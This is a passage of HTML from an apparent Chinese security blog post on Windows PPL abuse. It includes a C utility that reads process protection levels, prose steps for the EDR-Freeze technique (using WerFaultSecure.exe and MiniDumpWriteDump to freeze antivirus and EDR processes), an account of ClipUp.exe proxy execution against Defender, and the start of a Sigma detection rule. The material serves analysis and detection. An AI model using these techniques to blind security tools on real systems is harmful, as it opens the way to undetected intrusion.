class=\"token-line\" style=\"color:#393A34\"><span class=\"token comment\" style=\"color:#999988;font-style:italic\">// ppl_check.c</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token comment\" style=\"color:#999988;font-style:italic\">// 编译: cl ppl_check.c /link psapi.lib</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\" style=\"display:inline-block\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token macro property directive-hash\" style=\"color:#36acaa\">#</span><span class=\"token macro property directive keyword\" style=\"color:#00009f\">include</span><span class=\"token macro property\" style=\"color:#36acaa\"> </span><span class=\"token macro property string\" style=\"color:#e3116c\">&lt;windows.h&gt;</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token macro property directive-hash\" style=\"color:#36acaa\">#</span><span class=\"token macro property directive keyword\" style=\"color:#00009f\">include</span><span class=\"token macro property\" style=\"color:#36acaa\"> </span><span class=\"token macro property string\" style=\"color:#e3116c\">&lt;winternl.h&gt;</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token macro property directive-hash\" style=\"color:#36acaa\">#</span><span class=\"token macro property directive keyword\" style=\"color:#00009f\">include</span><span class=\"token macro property\" style=\"color:#36acaa\"> </span><span class=\"token macro property string\" style=\"color:#e3116c\">&lt;stdio.h&gt;</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token macro property directive-hash\" style=\"color:#36acaa\">#</span><span class=\"token macro property directive keyword\" style=\"color:#00009f\">include</span><span class=\"token macro property\" style=\"color:#36acaa\"> </span><span class=\"token macro property string\" style=\"color:#e3116c\">&lt;psapi.h&gt;</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\" style=\"display:inline-block\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token macro property directive-hash\" style=\"color:#36acaa\">#</span><span class=\"token macro property directive keyword\" style=\"color:#00009f\">define</span><span class=\"token macro property\" style=\"color:#36acaa\"> </span><span class=\"token macro property macro-name\" style=\"color:#36acaa\">ProcessProtectionLevelInfo</span><span class=\"token macro property\" style=\"color:#36acaa\"> </span><span class=\"token macro property expression number\" style=\"color:#36acaa\">0x3F</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\" style=\"display:inline-block\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token keyword\" style=\"color:#00009f\">typedef</span><span class=\"token plain\"> </span><span class=\"token keyword\" style=\"color:#00009f\">struct</span><span class=\"token plain\"> </span><span class=\"token class-name\">_PROCESS_PROTECTION_LEVEL_INFORMATION</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">{</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    DWORD ProtectionLevel</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token punctuation\" style=\"color:#393A34\">}</span><span class=\"token plain\"> PROCESS_PROTECTION_LEVEL_INFORMATION</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\" style=\"display:inline-block\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token keyword\" style=\"color:#00009f\">const</span><span class=\"token plain\"> </span><span class=\"token keyword\" style=\"color:#00009f\">char</span><span class=\"token operator\" style=\"color:#393A34\">*</span><span class=\"token plain\"> </span><span class=\"token function\" style=\"color:#d73a49\">GetSignerType</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">DWORD level</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">{</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    DWORD signer </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">level </span><span class=\"token operator\" style=\"color:#393A34\">&gt;&gt;</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">4</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"> </span><span class=\"token operator\" style=\"color:#393A34\">&amp;</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">0xF</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token keyword\" style=\"color:#00009f\">switch</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">signer</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">{</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        </span><span class=\"token keyword\" style=\"color:#00009f\">case</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">0</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\">  </span><span class=\"token keyword\" style=\"color:#00009f\">return</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"None\"</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        </span><span class=\"token keyword\" style=\"color:#00009f\">case</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">1</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\">  </span><span class=\"token keyword\" style=\"color:#00009f\">return</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"Windows\"</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        </span><span class=\"token keyword\" style=\"color:#00009f\">case</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">2</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\">  </span><span class=\"token keyword\" style=\"color:#00009f\">return</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"Lsa\"</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        </span><span class=\"token keyword\" style=\"color:#00009f\">case</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">3</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\">  </span><span class=\"token keyword\" style=\"color:#00009f\">return</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"Antimalware\"</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        </span><span class=\"token keyword\" style=\"color:#00009f\">case</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">4</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\">  </span><span class=\"token keyword\" style=\"color:#00009f\">return</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"WinTcb\"</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        </span><span class=\"token keyword\" style=\"color:#00009f\">case</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">5</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\">  </span><span class=\"token keyword\" style=\"color:#00009f\">return</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"WinSystem\"</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        </span><span class=\"token keyword\" style=\"color:#00009f\">default</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token keyword\" style=\"color:#00009f\">return</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"Unknown\"</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token punctuation\" style=\"color:#393A34\">}</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token punctuation\" style=\"color:#393A34\">}</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\" style=\"display:inline-block\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token keyword\" style=\"color:#00009f\">const</span><span class=\"token plain\"> </span><span class=\"token keyword\" style=\"color:#00009f\">char</span><span class=\"token operator\" style=\"color:#393A34\">*</span><span class=\"token plain\"> </span><span class=\"token function\" style=\"color:#d73a49\">GetProtectionType</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">DWORD level</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">{</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    DWORD type </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> level </span><span class=\"token operator\" style=\"color:#393A34\">&amp;</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">0xF</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token keyword\" style=\"color:#00009f\">switch</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">type</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">{</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        </span><span class=\"token keyword\" style=\"color:#00009f\">case</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">0</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token keyword\" style=\"color:#00009f\">return</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"None\"</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        </span><span class=\"token keyword\" style=\"color:#00009f\">case</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">1</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token keyword\" style=\"color:#00009f\">return</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"Protected Light (PPL)\"</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        </span><span class=\"token keyword\" style=\"color:#00009f\">case</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">2</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token keyword\" style=\"color:#00009f\">return</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"Protected (PP)\"</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        </span><span class=\"token keyword\" style=\"color:#00009f\">default</span><span class=\"token operator\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token keyword\" style=\"color:#00009f\">return</span><span class=\"token plain\"> </span><span class=\"token string\" style=\"color:#e3116c\">\"Unknown\"</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token punctuation\" style=\"color:#393A34\">}</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token punctuation\" style=\"color:#393A34\">}</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\" style=\"display:inline-block\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token keyword\" style=\"color:#00009f\">void</span><span class=\"token plain\"> </span><span class=\"token function\" style=\"color:#d73a49\">CheckProcessProtection</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">DWORD pid</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">{</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    HANDLE hProcess </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> </span><span class=\"token function\" style=\"color:#d73a49\">OpenProcess</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        PROCESS_QUERY_LIMITED_INFORMATION</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> FALSE</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> pid</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token keyword\" style=\"color:#00009f\">if</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token operator\" style=\"color:#393A34\">!</span><span class=\"token plain\">hProcess</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">{</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        </span><span class=\"token function\" style=\"color:#d73a49\">printf</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token string\" style=\"color:#e3116c\">\"[-] 无法打开进程 PID %d\\n\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> pid</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        </span><span class=\"token keyword\" style=\"color:#00009f\">return</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token punctuation\" style=\"color:#393A34\">}</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    PROCESS_PROTECTION_LEVEL_INFORMATION protInfo </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">{</span><span class=\"token number\" style=\"color:#36acaa\">0</span><span class=\"token punctuation\" style=\"color:#393A34\">}</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    ULONG returnLength </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> </span><span class=\"token number\" style=\"color:#36acaa\">0</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    NTSTATUS status </span><span class=\"token operator\" style=\"color:#393A34\">=</span><span class=\"token plain\"> </span><span class=\"token function\" style=\"color:#d73a49\">NtQueryInformationProcess</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        hProcess</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> ProcessProtectionLevelInfo</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        </span><span class=\"token operator\" style=\"color:#393A34\">&amp;</span><span class=\"token plain\">protInfo</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> </span><span class=\"token keyword\" style=\"color:#00009f\">sizeof</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">protInfo</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> </span><span class=\"token operator\" style=\"color:#393A34\">&amp;</span><span class=\"token plain\">returnLength</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token function\" style=\"color:#d73a49\">CloseHandle</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">hProcess</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token keyword\" style=\"color:#00009f\">if</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token function\" style=\"color:#d73a49\">NT_SUCCESS</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">status</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token plain\"> </span><span class=\"token punctuation\" style=\"color:#393A34\">{</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">        </span><span class=\"token function\" style=\"color:#d73a49\">printf</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token string\" style=\"color:#e3116c\">\"[*] PID %d | %s | %s (0x%X)\\n\"</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">            pid</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"> </span><span class=\"token function\" style=\"color:#d73a49\">GetProtectionType</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">protInfo</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">ProtectionLevel</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">            </span><span class=\"token function\" style=\"color:#d73a49\">GetSignerType</span><span class=\"token punctuation\" style=\"color:#393A34\">(</span><span class=\"token plain\">protInfo</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">ProtectionLevel</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">,</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">            protInfo</span><span class=\"token punctuation\" style=\"color:#393A34\">.</span><span class=\"token plain\">ProtectionLevel</span><span class=\"token punctuation\" style=\"color:#393A34\">)</span><span class=\"token punctuation\" style=\"color:#393A34\">;</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">    </span><span class=\"token punctuation\" style=\"color:#393A34\">}</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token punctuation\" style=\"color:#393A34\">}</span><br></span></code></pre><div class=\"buttonGroup__atx\"><button type=\"button\" aria-label=\"复制代码到剪贴板\" title=\"复制\" class=\"clean-btn\"><span class=\"copyButtonIcons_eSgA\" aria-hidden=\"true\"><svg viewBox=\"0 0 24 24\" class=\"copyButtonIcon_y97N\"><path fill=\"currentColor\" d=\"M19,21H8V7H19M19,5H8A2,2 0 0,0 6,7V21A2,2 0 0,0 8,23H19A2,2 0 0,0 21,21V7A2,2 0 0,0 19,5M16,1H4A2,2 0 0,0 2,3V17H4V3H16V1Z\"></path></svg><svg viewBox=\"0 0 24 24\" class=\"copyButtonSuccessIcon_LjdS\"><path fill=\"currentColor\" d=\"M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z\"></path></svg></span></button></div></div></div>\n<h2 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"3-ppl-滥用技术分类分析\">3. PPL 滥用技术分类分析<a class=\"hash-link\" aria-label=\"3. PPL 滥用技术分类分析的直接链接\" title=\"3. PPL 滥用技术分类分析的直接链接\" href=\"https://www.ce.ac.cn/blog/ppl-abuse-technical-analysis/#3-ppl-%E6%BB%A5%E7%94%A8%E6%8A%80%E6%9C%AF%E5%88%86%E7%B1%BB%E5%88%86%E6%9E%90\">​</a></h2>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"31-基于竞态条件的进程冻结edr-freeze\">3.1 基于竞态条件的进程冻结：EDR-Freeze<a class=\"hash-link\" aria-label=\"3.1 基于竞态条件的进程冻结：EDR-Freeze的直接链接\" title=\"3.1 基于竞态条件的进程冻结：EDR-Freeze的直接链接\" href=\"https://www.ce.ac.cn/blog/ppl-abuse-technical-analysis/#31-%E5%9F%BA%E4%BA%8E%E7%AB%9E%E6%80%81%E6%9D%A1%E4%BB%B6%E7%9A%84%E8%BF%9B%E7%A8%8B%E5%86%BB%E7%BB%93edr-freeze\">​</a></h3>\n<p>2025 年 8 月，Zero Salarium 安全研究员首次披露了通过滥用 WerFaultSecure.exe 绕过 PPL 的技术。2025 年 9 月，该技术被封装为 EDR-Freeze 工具发布，证明纯用户态代码即可冻结 EDR 进程，无需 BYOVD 驱动。</p>\n<p>攻击原理利用了 Windows 错误报告（WER）框架中 <code>MiniDumpWriteDump</code> 函数的副作用。该函数来自 DbgHelp 库，用于创建进程崩溃转储。为确保内存状态一致性，它在转储前会挂起目标进程的所有线程。WerFaultSecure.exe 以最高 WinTcb PPL 标签运行，专门收集受保护进程的崩溃转储。攻击者将两者组合，可在安全进程上触发 MiniDumpWriteDump，使其线程被挂起。</p>\n<p>攻击流程要求精确的时序控制：</p>\n<ol>\n<li>使用 CreateProcessAsPPL 以 WinTcb PPL 级别启动 WerFaultSecure.exe</li>\n<li>将目标指向杀毒软件或 EDR 进程（如 MsMpEng.exe）</li>\n<li>WerFaultSecure 调用 MiniDumpWriteDump 挂起目标所有线程</li>\n<li>攻击者在目标进程挂起后立即挂起 WerFaultSecure.exe 自身</li>\n<li>WerFaultSecure 被暂停后目标安全进程线程无法恢复，永久冻结</li>\n<li>攻击者获得无安全监控的窗口期</li>\n</ol>\n<p>在测试中，EDR-Freeze 在完全更新的 Windows 11 24H2 系统上成功挂起 MsMpEng.exe 长达 5 秒。由于 WerFaultSecure 是 Windows 自带的可信二进制且运行在 PPL 上下文中，其行为对安全产品而言完全透明。</p>\n<h3 class=\"anchor anchorWithStickyNavbar_LWe7\" id=\"32-基于二进制代理的权限劫持clipupexe\">3.2 基于二进制代理的权限劫持：ClipUp.exe<a class=\"hash-link\" aria-label=\"3.2 基于二进制代理的权限劫持：ClipUp.exe的直接链接\" title=\"3.2 基于二进制代理的权限劫持：ClipUp.exe的直接链接\" href=\"https://www.ce.ac.cn/blog/ppl-abuse-technical-analysis/#32-%E5%9F%BA%E4%BA%8E%E4%BA%8C%E8%BF%9B%E5%88%B6%E4%BB%A3%E7%90%86%E7%9A%84%E6%9D%83%E9%99%90%E5%8A%AB%E6%8C%81clipupexe\">​</a></h3>\n<p>ClipUp.exe 位于 System32 目录，是微软签名的合法二进制，以 PPL 权限运行，原本功能为处理剪贴板相关操作。当在特定条件下以特定参数启动时，该程序会加载并执行来自非标准路径的 DLL，在 PPL 保护上下文内执行攻击者代码。</p>\n<p>通过 PPL 上下文的代理执行，攻击者可实现普通用户态下不可能的操作，包括修改受保护进程内存、覆盖或删除 Defender 关键文件，以及修改相关注册表项。Elastic Security Labs 在对 RONINGLOADER 的分析中发现了该技术，并确认其已被 Dragon Breath APT 用于实际攻击活动。</p>\n<p>以下 Sigma 规则可用于检测针对 ClipUp.exe 的注册表篡改行为：</p>\n<div class=\"language-yaml codeBlockContainer_Ckt0 theme-code-block\" style=\"--prism-color:#393A34;--prism-background-color:#f6f8fa\"><div class=\"codeBlockContent_biex\"><pre tabindex=\"0\" class=\"prism-code language-yaml codeBlock_bY9V thin-scrollbar\" style=\"color:#393A34;background-color:#f6f8fa\"><code class=\"codeBlockLines_e6Vv\"><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token key atrule\" style=\"color:#00a4db\">title</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> ClipUp.exe 服务 ImagePath 篡改检测</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token key atrule\" style=\"color:#00a4db\">id</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> ae8f85a3</span><span class=\"token punctuation\" style=\"color:#393A34\">-</span><span class=\"token plain\">c3e8</span><span class=\"token punctuation\" style=\"color:#393A34\">-</span><span class=\"token plain\">4d1f</span><span class=\"token punctuation\" style=\"color:#393A34\">-</span><span class=\"token plain\">9a51</span><span class=\"token punctuation\" style=\"color:#393A34\">-</span><span class=\"token plain\">2b3fba56d1c1</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token key atrule\" style=\"color:#00a4db\">status</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> stable</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token key atrule\" style=\"color:#00a4db\">description</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> 检测将服务 ImagePath 修改为执行 ClipUp.exe 的注册表行为</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token key atrule\" style=\"color:#00a4db\">author</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> Swachchhanda Shrawan Poudel (Nextron Systems)</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token key atrule\" style=\"color:#00a4db\">date</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> </span><span class=\"token datetime number\" style=\"color:#36acaa\">2026-01-29</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token key atrule\" style=\"color:#00a4db\">tags</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token punctuation\" style=\"color:#393A34\">-</span><span class=\"token plain\"> attack.defense</span><span class=\"token punctuation\" style=\"color:#393A34\">-</span><span class=\"token plain\">impairment</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token punctuation\" style=\"color:#393A34\">-</span><span class=\"token plain\"> attack.privilege</span><span class=\"token punctuation\" style=\"color:#393A34\">-</span><span class=\"token plain\">escalation</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token punctuation\" style=\"color:#393A34\">-</span><span class=\"token plain\"> attack.t1685</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token punctuation\" style=\"color:#393A34\">-</span><span class=\"token plain\"> attack.t1068</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\"></span><span class=\"token key atrule\" style=\"color:#00a4db\">logsource</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"></span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token key atrule\" style=\"color:#00a4db\">product</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> windows</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span class=\"token plain\">  </span><span class=\"token key atrule\" style=\"color:#00a4db\">category</span><span class=\"token punctuation\" style=\"color:#393A34\">:</span><span class=\"token plain\"> registry_event</span><br></span><span class=\"token-line\" style=\"color:#393A34\"><span 